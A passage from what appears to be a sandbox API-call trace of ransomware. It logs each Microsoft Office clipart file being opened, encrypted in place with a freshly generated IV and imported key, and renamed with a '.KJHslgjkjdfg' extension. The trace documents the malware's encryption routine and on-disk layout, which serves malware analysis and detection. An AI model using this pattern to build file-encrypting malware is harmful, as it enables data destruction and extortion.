hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.737] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.737] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.737] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.737] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1498, lpOverlapped=0x0) returned 1 [0200.738] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0) returned 1 [0200.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14a0, lpOverlapped=0x0) returned 1 [0200.739] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] SetEndOfFile (hFile=0x130) returned 1 [0200.742] GetProcessHeap () returned 0x2ef0000 [0200.742] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.742] GetProcessHeap () returned 0x2ef0000 [0200.742] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.kjhslgjkjdfg")) returned 1 [0200.743] CloseHandle (hObject=0x130) returned 1 [0200.743] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0200.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.744] GetProcessHeap () returned 0x2ef0000 [0200.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.744] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.747] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.747] GetProcessHeap () returned 0x2ef0000 [0200.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.747] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.747] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.747] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.748] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16ec, lpOverlapped=0x0) returned 1 [0200.750] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0) returned 1 [0200.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.750] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16f0, lpOverlapped=0x0) returned 1 [0200.750] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.750] SetEndOfFile (hFile=0x130) returned 1 [0200.753] GetProcessHeap () returned 0x2ef0000 [0200.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.753] GetProcessHeap () returned 0x2ef0000 [0200.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.kjhslgjkjdfg")) returned 1 [0200.754] CloseHandle (hObject=0x130) returned 1 [0200.754] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0200.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.755] GetProcessHeap () returned 0x2ef0000 [0200.755] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.755] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.758] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.758] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.758] GetProcessHeap () returned 0x2ef0000 [0200.758] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.758] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.758] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.759] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.759] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.759] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b64, lpOverlapped=0x0) returned 1 [0200.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b70, dwBufLen=0x2b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b70) returned 1 [0200.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.760] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b70, lpOverlapped=0x0) returned 1 [0200.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.760] SetEndOfFile (hFile=0x130) returned 1 [0200.763] GetProcessHeap () returned 0x2ef0000 [0200.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.763] GetProcessHeap () returned 0x2ef0000 [0200.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.kjhslgjkjdfg")) returned 1 [0200.764] CloseHandle (hObject=0x130) returned 1 [0200.765] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0200.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.766] GetProcessHeap () returned 0x2ef0000 [0200.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.768] GetProcessHeap () returned 0x2ef0000 [0200.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.768] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3734, lpOverlapped=0x0) returned 1 [0200.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740, dwBufLen=0x3740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3740) returned 1 [0200.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.771] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3740, lpOverlapped=0x0) returned 1 [0200.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.771] SetEndOfFile (hFile=0x130) returned 1 [0200.774] GetProcessHeap () returned 0x2ef0000 [0200.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.774] GetProcessHeap () returned 0x2ef0000 [0200.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.kjhslgjkjdfg")) returned 1 [0200.775] CloseHandle (hObject=0x130) returned 1 [0200.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0200.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.776] GetProcessHeap () returned 0x2ef0000 [0200.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.776] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.781] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.781] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.781] GetProcessHeap () returned 0x2ef0000 [0200.781] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.782] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.782] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, 